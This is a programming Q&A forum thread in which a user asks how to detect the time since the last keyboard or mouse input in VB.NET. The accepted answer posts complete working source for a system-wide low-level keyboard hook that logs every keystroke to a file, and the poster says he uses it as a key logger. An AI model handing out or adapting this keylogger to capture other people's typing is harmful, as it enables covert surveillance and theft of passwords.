Solved

Find time since last user input in VB .NET

Posted on 2009-05-14
14
577 Views
Last Modified: 2013-11-25
Does anyone know a way to find the time since the last user input (mouse or keyboard). I do not want this to effect system performance so I do not think it is a good idea to capture all user input so I am hoping someone knows about an alternative way. Thanks J
0
Comment
Question by:jes12345
  • 8
  • 6
14 Comments
 
LVL 74

Expert Comment

by:käµfm³d 👽
ID: 24389599
0
 
LVL 74

Expert Comment

by:käµfm³d 👽
ID: 24389672
VB Translation:
<DllImport("user32.dll")> _

Shared Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

End Function
 

Friend Structure LASTINPUTINFO 

    Public cbSize As UInt;

    Public dwTime As UInt;

End Structure

Open in new window

0
 

Author Comment

by:jes12345
ID: 24390028
In order to get it to work I had to put the code in a module. However the objects time is 0 even after the sleep.
Module Module1

    Public Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

    End Function
 

    Friend Structure LASTINPUTINFO

        Public cbSize As Integer

        Public dwTime As Integer

    End Structure

End Module
 

'AND
 

Imports System.Runtime.InteropServices

Imports System.Text
 

Public Class Form1
 

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        System.Threading.Thread.Sleep(15000)
 

        Dim test As New LASTINPUTINFO

        GetLastInputInfo(test)

        MsgBox(test.dwTime)

    End Sub

End Class

Open in new window

0
 
LVL 74

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24390898
I updated the code. It would seem I didn't provide all the information. I tested the following and it returned an integer value.
Imports System.Runtime.InteropServices
 

Module WinAPO

    <DllImport("user32.dll")> _

    Function GetLastInputInfo(ByRef plii As LASTINPUTINFO) As Boolean

    End Function
 

    <StructLayout(LayoutKind.Sequential)> _

    Structure LASTINPUTINFO

        <MarshalAs(UnmanagedType.U4)> _

        Public cbSize As Integer
 

        <MarshalAs(UnmanagedType.U4)> _

        Public dwTime As Integer

    End Structure
 

End Module
 

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

        System.Threading.Thread.Sleep(3000)
 

        Dim test As New LASTINPUTINFO

        test.cbSize = Marshal.SizeOf(test)

        test.dwTime = 0
 

        GetLastInputInfo(test)

        MsgBox(test.dwTime)

    End Sub
 

End Class

Open in new window

0
 
LVL 74

Expert Comment

by:käµfm³d 👽
ID: 24390907
If I understand correctly, this only applies to your application; it is not system wide.
0
 

Author Comment

by:jes12345
ID: 24392760
Sorry kaufmed but I did not understand your last question. Can I please ask you to elaborate?
Thanks J
0
 
LVL 74

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24394476
Do you mean post?

From what I read in the documentation, the GetLastInputInfo() function only tracks the time for input within the application it is being used. So let's say you have your application written and running (and it's using GetLastInputInfo()). If you were to minimize the application and go to something else, while you were in that other application, the GetLastInputInfo() in your application will not track the time in the application you are now using.

--See "Remarks" section
http://msdn.microsoft.com/en-us/library/ms646302(VS.85).aspx
0
Why You Should Analyze Threat Actor TTPs

After years of analyzing threat actor behavior, it’s become clear that at any given time there are specific tactics, techniques, and procedures (TTPs) that are particularly prevalent. By analyzing and understanding these TTPs, you can dramatically enhance your security program.

 

Author Comment

by:jes12345
ID: 24395221
Ok I understand.Thank you for your replies. What I need is really a systemwide function. From reading the article it suggest to create a service using GetLastInputInfo() but that will not be possible on the design. Can you think of any other way of obtaining this? - if not I will find another design approach if installing a service is not an option.
Thanks J
0
 
LVL 74

Expert Comment

by:käµfm³d 👽
ID: 24395534
You could implement some low-level hooks in conjunction with a timer. The low-level hooks will intercept the keyboard/mouse interactions and with each interception, you could restart the timer.
0
 

Author Comment

by:jes12345
ID: 24401488
I guess that would be an option - do you think this would be ok with regards to system performance? Thank you so much for all your help and advises. Before I close this thread and assign the points can I please ask if you have an example of an efficient way of caturing key/mouse system wide? Thanks J
0
 
LVL 74

Accepted Solution

by:
käµfm³d   👽 earned 500 total points
ID: 24404378
The only way I know to do it is with API calls. As far as performance, I don't believe it will hit the system that hard--you are intercepting the messages and forwarding them when you are done with them. Now if you do a bunch of processing before you forward the message, then maybe that could hinder your system, but if you are merely determining last input, then I don't see a lot of processing going on before you forward the message.

I can't remember which project I got the following code from, but it was taken from one of the examples on CodeProject.com. There is no mouse hooking in the following, but it should be along the same lines and easy to find on web.
Imports System

Imports System.Diagnostics

Imports System.Windows.Forms

Imports System.Runtime.InteropServices
 

Namespace KeyLogger
 

    Public Class InterceptKeys

        Private Const WH_KEYBOARD_LL As Integer = 13

        Private Const WM_KEYDOWN As Integer = &H100

        Private Const WM_KEYUP As Integer = &H101

        Private Shared _proc As LowLevelKeyboardProc = AddressOf HookCallback

        Private Shared _hookID As IntPtr = IntPtr.Zero

        Private Shared outFile As System.IO.StreamWriter
 

        Public Shared Sub Main()

            _hookID = SetHook(_proc)

            outFile = New System.IO.StreamWriter("C:\out.txt", True)

            outFile.AutoFlush = True

            Application.Run()

            UnhookWindowsHookEx(_hookID)

            outFile.Close()

            outFile = Nothing

        End Sub
 

        Private Shared Function SetHook(ByVal proc As LowLevelKeyboardProc) As IntPtr

            Using curProcess As Process = Process.GetCurrentProcess()

                Using curModule As ProcessModule = curProcess.MainModule

                    Return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0)

                End Using

            End Using

        End Function
 

        Private Delegate Function LowLevelKeyboardProc(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr
 

        Private Shared Function HookCallback(ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

            If nCode >= 0 And wParam = CType(WM_KEYDOWN, IntPtr) Then

                Dim vkCode As Integer = Marshal.ReadInt32(lParam)
 

                If vkCode = 13 Then

                    outFile.WriteLine()

                Else

                    outFile.Write((CType(vkCode, Keys).ToString().Replace("Space", " ").Replace("comma", ",").Replace("ControlKey", "^").Replace("Capital", "<CapsLock>").Replace("Back", "<Backspace>")))

                End If

            End If
 

            Return CallNextHookEx(_hookID, nCode, wParam, lParam)

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function SetWindowsHookEx(ByVal idHook As Integer, ByVal lpfn As LowLevelKeyboardProc, ByVal hMod As IntPtr, ByVal dwThreadId As UInteger) As IntPtr

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function UnhookWindowsHookEx(ByVal hhk As IntPtr) As Boolean

        End Function
 

        <DllImport("user32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function CallNextHookEx(ByVal hhk As IntPtr, ByVal nCode As Integer, ByVal wParam As IntPtr, ByVal lParam As IntPtr) As IntPtr

        End Function
 

        <DllImport("kernel32.dll", CharSet:=CharSet.Auto, SetLastError:=True)> _

        Private Shared Function GetModuleHandle(ByVal lpModuleName As String) As IntPtr

        End Function
 

        <DllImport("user32.dll")> _

        Public Shared Function FindWindow(ByVal lpClassName As String, ByVal lpWindowName As String) As IntPtr

        End Function
 

        <DllImport("user32.dll")> _

        Public Shared Function ShowWindow(ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean

        End Function

    End Class

End Namespace

Open in new window

0
 
LVL 74

Assisted Solution

by:käµfm³d 👽
käµfm³d   👽 earned 500 total points
ID: 24404382
I used the above as a key logger on my local machine. I'm sure you could adapt it to suit you needs--I merely wanted to show which API functions (the ones with the DllImport attributes attached) you would need. You could start a timer in HookCallback() to track the time in between inputs.
0
 

Author Comment

by:jes12345
ID: 24405308
Fantastic - I will definately be able to use this for my solution. Thank you so much for all your advises and help kaufmed! J
0
 

Author Closing Comment

by:jes12345
ID: 31581695
Good answer!
0

Featured Post

What Security Threats Are You Missing?

Enhance your security with threat intelligence from the web. Get trending threat insights on hackers, exploits, and suspicious IP addresses delivered to your inbox with our free Cyber Daily.

Join & Write a Comment

A long time ago (May 2011), I have written an article showing you how to create a DLL using Visual Studio 2005 to be hosted in SQL Server 2005. That was valid at that time and it is still valid if you are still using these versions. You can still re…
If you need to start windows update installation remotely or as a scheduled task you will find this very helpful.
This lesson covers basic error handling code in Microsoft Excel using VBA. This is the first lesson in a 3-part series that uses code to loop through an Excel spreadsheet in VBA and then fix errors, taking advantage of error handling code. This l…
This is Part 3 in a 3-part series on Experts Exchange to discuss error handling in VBA code written for Excel. Part 1 of this series discussed basic error handling code using VBA. http://www.experts-exchange.com/videos/1478/Excel-Error-Handlin…

705 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question

Need Help in Real-Time?

Connect with top rated Experts

17 Experts available now in Live!

Get 1:1 Help Now